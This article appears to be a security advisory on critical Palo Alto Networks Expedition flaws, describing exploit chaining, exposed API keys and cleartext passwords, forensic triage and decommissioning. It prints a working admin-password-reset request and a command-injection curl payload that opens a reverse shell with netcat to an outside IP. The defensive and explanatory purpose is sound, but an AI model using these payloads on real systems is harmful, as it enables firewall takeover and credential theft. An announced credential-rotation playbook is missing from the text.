Critical Flaws in Palo Alto Networks Expedition Expose Enterprise Firewalls to Takeover

Intermediate migration appliances deployed within corporate perimeters have emerged as high-value targets for threat actors seeking administrative compromise and lateral movement. Palo Alto Networks Expedition, a specialized utility engineered to translate legacy configurations from Cisco ASA, Check Point, and Fortinet into PAN-OS and Panorama deployments, harbors a cascade of critical vulnerabilities that enable unauthenticated adversaries to hijack administrative accounts, execute arbitrary operating system commands, and harvest live device API keys.

Following federal directives mandating the remediation of CVE-2024-5910, CVE-2024-9463, and CVE-2024-9465, organizations face widespread exposure of core network security architectures. Because Expedition aggregates credentials and security rulebases during migration staging, an appliance compromise grants direct control over live network boundaries. With Palo Alto Networks designating Expedition End-of-Life (EOL), standard patch cycles are insufficient, demanding immediate forensic triage, credential revocation, and permanent decommissioning.

[[image:poster]]

D
Root / System Access
F
(pandbRBAC Store)
PAN-OS API Keys
H
Firewall Admin Passwords
Core Firewalls & Panorama Takeover

Vulnerability Taxonomy and Exploit Chaining

The vulnerability matrix in Expedition spans authentication bypasses, command injection flaws, and cleartext credential logging. By chaining these weaknesses, attackers escalate from zero network standing to complete underlying operating system takeover.

Adversaries initiate the primary exploit chain through /var/www/html/OS/startup/restore/restoreAdmin.php (CVE-2024-5910). The script fails to verify active sessions or authentication tokens, allowing unauthenticated attackers to overwrite the administrator password via an HTTP POST request:

POST /OS/startup/restore/restoreAdmin.php HTTP/1.1
Host: expedition.internal.corp
Content-Type: application/x-www-form-urlencoded

action=restore&user=admin&pass=CompromisedPass123!

After authenticating via /bin/Auth.php to obtain a session cookie, attackers pivot to /var/www/html/bin/CronJobs.php (CVE-2024-9464). The endpoint unsafely splits the start_time parameter on semicolons and passes the unvalidated string directly into the system shell:

curl -ik 'https://expedition.internal.corp/bin/CronJobs.php' \
 -H 'Cookie: PHPSESSID=session_token_here' \
 -d 'action=set&type=cron_jobs&project=pandb&name=backup&recurrence=Daily&start_time=\"; nc -e /bin/bash 10.10.14.5 4444 ; :&cron_id=1'

Alternatively, attackers bypass authentication altogether using CVE-2024-9465 in /var/www/html/bin/configurations/parsers/Checkpoint/CHECKPOINT.php. By submitting unsanitized input through the signatureid parameter, an attacker executes blind SQL injection to dump the backend database without valid credentials.

Stored Secrets and Enterprise Blast Radius

Expedition functions as a centralized staging repository for enterprise migration projects, concentrating high-value secrets across three main layers:

1. PAN-OS Device API Keys: Stored in the MySQL pandbRBAC database within the device_keys table, these persistent tokens allow adversaries to interact directly with the PAN-OS XML API. Attackers can modify security rules, inject outbound NAT policies, or create rogue accounts without interactive logins.
2. Cleartext Firewall Passwords (debug.txt): Under CVE-2024-9466, Expedition captured raw API onboarding traffic and wrote plain-text administrative credentials to /home/userSpace/devices/debug.txt. Because the file was created with world-readable permissions, any local account or webshell can extract credentials for production firewall clusters.
3. Network Topologies and VPN Secrets: Staged configuration archives expose internal subnet schemes, routing tables, and pre-shared IPsec keys, providing adversaries with blueprints for lateral traversal.

Defensive Isolation and Forensic Triage Protocol

Given the software's End-of-Life status, organizations must immediately restrict network reachability or decommission running instances. If an appliance cannot be terminated instantly, drop all inbound traffic to TCP ports 80 and 443, terminate routing to firewall management interfaces, and halt backend daemons:

sudo systemctl stop apache2 mysql && sudo systemctl disable apache2 mysql

Security operations teams should execute a unified forensic triage script to identify compromise indicators across system logs, databases, and file paths:

#!/bin/bash
# 1. Audit web access logs for exploit attempts
grep -E "restoreAdmin\.php|CronJobs\.php|CHECKPOINT\.php" /var/log/apache2/access.log* /var/apache/log/access.log* 2>/dev/null

# 2. Check for unauthorized injected cron jobs (CVE-2024-9464)
mysql -u root -p -D pandb -e "SELECT * FROM cronjobs;"

# 3. Inspect access timestamps on leaked credential files and check for web shells
stat /home/userSpace/devices/debug.txt 2>/dev/null
find /var/www/html/ -type f -name "*.php" -mtime -90
find /tmp /var/tmp /dev/shm -type f -executable

Forensic Indicator: Any records within pandb.cronjobs containing shell operators (such as ;, &&, |, or backticks) confirm host exploitation under CVE-2024-9464.

Systematic API Key and Device Credential Rotation Playbook

When an Expedition server is suspected or confirmed of compromise, security teams must treat all processed credentials as exposed. Execute the following focused four-step remediation lifecycle across connected PAN-OS firewalls and Panorama appliances:

Migration Tool Lifecycle and Appliance Decommissioning

Palo Alto Networks officially designated Expedition End-of-Life, transitioning migrations to modern cloud-delivered tooling and offline CLI parsing. Maintaining legacy migration servers introduces persistent exposure.

To complete decommissioning, export finalized XML rulebases to an encrypted offline repository, securely shred cleartext credential stores using shred -u -z -n 3 /home/userSpace/devices/debug.txt, destroy virtual disk images and snapshots, and tear down associated firewall access rules. Retiring intermediate migration infrastructure permanently closes a high-impact lateral movement pathway across the enterprise perimeter.